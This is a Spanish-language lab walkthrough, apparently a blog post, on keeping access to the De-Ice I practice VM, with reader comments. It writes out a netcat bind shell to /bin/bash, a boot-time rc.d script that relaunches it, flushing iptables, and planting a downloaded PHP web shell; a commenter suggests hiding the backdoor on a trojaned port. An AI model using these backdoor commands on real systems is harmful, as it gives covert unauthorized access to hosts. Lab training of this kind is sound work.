Ahora que hemos conseguido elevar privilegios y acceder a la información crítica contenida en el sistema objetivo, veamos algunos métodos para mantener el acceso al sistema. Sobra aclarar que toda la información publicada es de carácter educativo, y solo busca recrear de la mejor manera los ataques a los que están expuestos los sistemas y sus administradores y oficiales de seguridad. Todo ello con la finalidad de adquirir destrezas y habilidades en los temas relacionados con los Test de Penetración.

La finalidad de usar sistemas backdoors (puertas traseras) es mantener un acceso al sistema de manera oculta al administrador del sistema, los cuales permitirán una entrada luego de un reinicio del sistema o ciertas condiciones a la que se someta el sistema sin necesidad de penetrar nuevamente el sistema.

El tema de backdoors en sistemas es más un arte que una técnica, ya que esta obliga al PenTester a usar toda su creatividad e imaginación para lograr su objetivo de conseguir un acceso en cualquier momento al sistema sin ser descubierto.

Solo mostraré algunos métodos para crear puertas traseras con la herramienta Netcat y otro con el servicio de publicación en Web (PHP), con la finalidad de que los lectores se animen y publiquen los métodos que conozcan y nos vayamos preparando para los entornos que vienen.

Ya hemos hablado anteriormente de Netcat (Video Tutorial Netcat en BackTrack), ahora aprovechemos el entorno disponible para practicar los aprendido.

Para nuestra fortuna, en el entorno De-Ice I netcat se encuentra disponible en dicho sistema, por lo tanto solo necesitamos dejarlo a la escucha.

Antes de ello es necesario verificar como se encuentra configurado el sistema de IPTABLES con la finalidad de analizar como se realizan las conexiones al sistema (conexiones permitidas, conexiones denegadas, etc)

root@slax:/# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  –  anywhere             anywhere
ACCEPT     udp  –  anywhere             anywhere            udp dpt:domain
ACCEPT     udp  –  anywhere             anywhere            udp spt:domain
ACCEPT     all  –  anywhere             anywhere            state RELATED,ESTAB                                              LISHED
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:ftp-data
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:ftp
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:ssh
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:smtp
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:http
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:pop3
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:imap
ACCEPT     tcp  –  anywhere             anywhere            tcp dpt:https
LOG_DROP   all  –  anywhere             anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
LOG_DROP   all  –  anywhere             anywhere

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  –  anywhere             anywhere

Chain LOG_DROP (2 references)
target     prot opt source               destination
DROP       all  –  anywhere             anywhere

Si quisieramos tirar abajo todas las reglas (no recomendado para el objetivo de pasar desapercibido) solo basta con ejecutar la siguiente instrucción.

root@slax:/# iptables -F

La idea es que los lectores propongan una de las muchas maneras de agregar esta conexión a las reglas de IPTABLES sin tirar las demás abajo (Más información sobre IPTABLES y su configuración/edición)

Luego de esta “limpieza” de reglas vemos como quitamos la negación a peticiones ICMP que observamos al comienzo de la prueba.

S3cTr4cK@0100100-0100100 ~
$ ping 192.168.1.100

Pinging 192.168.1.100 with 32 bytes of data:

Reply from 192.168.1.100: bytes=32 time=1ms TTL=64
Reply from 192.168.1.100: bytes=32 time=1ms TTL=64

Ping statistics for 192.168.1.100:
Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 1ms, Average = 1ms

Ahora ejecutemos a netcat en modo escucha en el sistema objetivo (De-Ice I)

root@slax:/# nc -l -p 1337 -e /bin/bash

Si realizaramos un escaneo sencillo con nmap a varios puertos incluyendo el que dejamos a la escucha, encontraríamos los siguientes:

C:\Program Files\Nmap>nmap -p 22,25,80,443,1337 192.168.1.100

Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-09 23:51 SA Pacific Standard T
Interesting ports on 192.168.1.100:
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   open   smtp
80/tcp   open   http
443/tcp  closed https
1337/tcp open   waste
MAC Address: 00:1A:73:90:81:0B (Gemtek Technology Co.)

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds

Ahora desde nuestro sistema cliente (atacante) solo basta conectarnos al puerto que dejamos a la escucha (1337) y ejecutar algunos comandos:

C:\Documents and Settings\S3cTr4cK\My Documents\Descargas\nc>nc 192.168.1.100 1337
whoami

root
pwd
/
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:43:03:6B
inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe43:36b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:6377 errors:0 dropped:0 overruns:0 frame:0
TX packets:1365 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:438725 (428.4 KiB)  TX bytes:169876 (165.8 KiB)
Interrupt:5 Base address:0×2000

lo        Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:176 errors:0 dropped:0 overruns:0 frame:0
TX packets:176 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:15878 (15.5 KiB)  TX bytes:15878 (15.5 KiB)

uname -a
Linux slax 2.6.16 #95 Wed May 17 10:16:21 GMT 2006 i686 athlon-4 i386 GNU/Linux

Ahora bien… ¿Qué pasaría si quisieramos que dicha instrucción se ejecutara al inicio del sistema objetivo?

Solo basta automatizar dicho inicio alojando la instrucción (script) en el directorio /etc/rc.d

Veamos el contenido de este directorio y un ejemplo de script para dicho propósito:

Contenido:

root@slax:/etc/rc.d# ls
rc.0         rc.alsa      rc.inet1       rc.nfsd        rc.sshd
rc.4         rc.bind      rc.inet1.conf  rc.pcmcia      rc.syslog
rc.6         rc.cups      rc.inet2       rc.portmap     rc.sysvinit
rc.FireWall  rc.firewall  rc.inetd       rc.saslauthd   rc.udev
rc.K         rc.font.new  rc.ip_forward  rc.sendmail    rc.vsftpd
rc.M         rc.gpm       rc.local       rc.serial      rc.wireless
rc.S         rc.hotplug   rc.modules     rc.slax        rc.wireless.conf
rc.acpid     rc.httpd     rc.mysqld      rc.slaxconfig

Hagamos entonces lo mismo para Netcat

Script:

root@slax:/etc/rc.d# vi rc.netcat1
#!/bin/sh
mkdir /tmp/netcat
while true ; do
cd /tmp/netcat | nc -l -p 1337 -e /bin/bash
done

Y quedaría así:

root@slax:/etc/rc.d# more rc.netcat1
#!/bin/sh
mkdir /tmp/netcat
while true ; do
cd /tmp/netcat | nc -l -p 1337 -e /bin/bash
done

Otra buena opción sería utilizar a Netcat en modo reverse shell, que también ha sido tratado en el video tutorial citado anteriormente.

El tercer método para habilitar una puerta tracera en el sistema de manera más “discreta” puede ser el uso del servidor web en la máquina objetivo, veamos:

Para ello haremos uso de una shell en el leguaje del lado del servidor PHP.

Primero debemos descargarla y transferirla a la máquina objetivo.

Para la transferencia he habilitado un server en mi máquina, solo basta realizar la petición con wget:

root@slax:~/Desktop# wget http://192.168.1.3/shellphp.txt
–00:34:53–  http://192.168.1.3/shellphp.txt
=> `shellphp.txt’
Connecting to 192.168.1.3:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 63,743 (62K) [text/plain]

100%[====================================>] 63,743        –.–K/s

00:34:53 (64.06 MB/s) – `shellphp.txt’ saved [63743/63743]

root@slax:~/Desktop# ls
Home.desktop  System.desktop  shellphp.txt

root@slax:~/Desktop# cp shellphp.txt /var/www/htdocs/infosys.php

Luego solo bastaría con ingresar en cualquier momento a dicha URL, para mi caso:

http://192.168.1.100/infosys.php

File / Folder Name # Size KByte # Download # Edit # Chmod Delete
. dir # # # Chmod Delete
.. dir # # # Chmod Delete
infosys.php 62 # download # Edit # Chmod Delete
level.php 2 # download # Edit # Chmod Delete
index2.php 3 # download # Edit # Chmod Delete
index.php 2 # download # Edit # Chmod Delete
copyright.txt 15 # download # Edit # Chmod Delete
background.jpg 41 # download # Edit # Chmod Delete
info.php 0 # download # Edit # Chmod Delete

etc…

Vuelvo y reitero la invitación a que los lectores compartan sus métodos para habilitar puertas traseras en sistemas.

En futuros entornos conoceremos algunos métodos aún más avanzados que los presentados en este post realizado a modo de introducción a los Backdoors.

4 Responses to “Desarrollo del Entorno De-Ice nivel I – Backdoors, Manteniendo el Acceso”

  1. servant says:

    Muy muy bueno… Muchas Gracias (y)

  2. aetsu says:

    Muy bueno, voy a practicar haber que tal me va la cosa xD.

  3. syskc0 says:

    claro avatar al hablar de backdoor hablariamos de un buen mundo de puertas traseras aunque los hay de todos tipo de idiomas olores colores y sabores todos no hacen la misma peticion de escucha..

    si hablamos de tener un puerto a la escucha y teniendo el iptables el administrador de el sistema se daria cuenta que algo pasa pasando un herramienta que le diagnostique las conexiones e infiltraciones a los puertos …

    mi recomendacion seria hacer que el iptables lo paren en el momento de activar el backdoor y como los bakdoor nos pediran peticiones de conexiones que a su vez son logs que se dejaran seria troyanizar 1 puerto que ya es utilizado por 1 ampliacion segura ….

    es como esconderse cuando hace mucho sol tras de alguien obeso y muy grande para que no nos pegue el sol y haci no ser descubiertos por que cada peticion de conexion es 1 logs que dejaras en iptables de el acceso remoto que dejas

  4. camilo says:

    hola a toda la comunidad soy muy nuevo en todo este cuento,
    ahora mi problema es el siguiente.
    Tengo backtrack4 instalado en un disco duro de 20G y el wmware workstation 7.1, wmware player, virtualnetworking y la imagen iso de-ice I, ahora preparo la maquina virtual con ram, disco duro etc pero a lo ultimo me pregunta por la licencia que no tengo lei q ai una version por 30 dias
    pero como hago para activarla o conseguir una licencia…
    muchas gracias por su atencion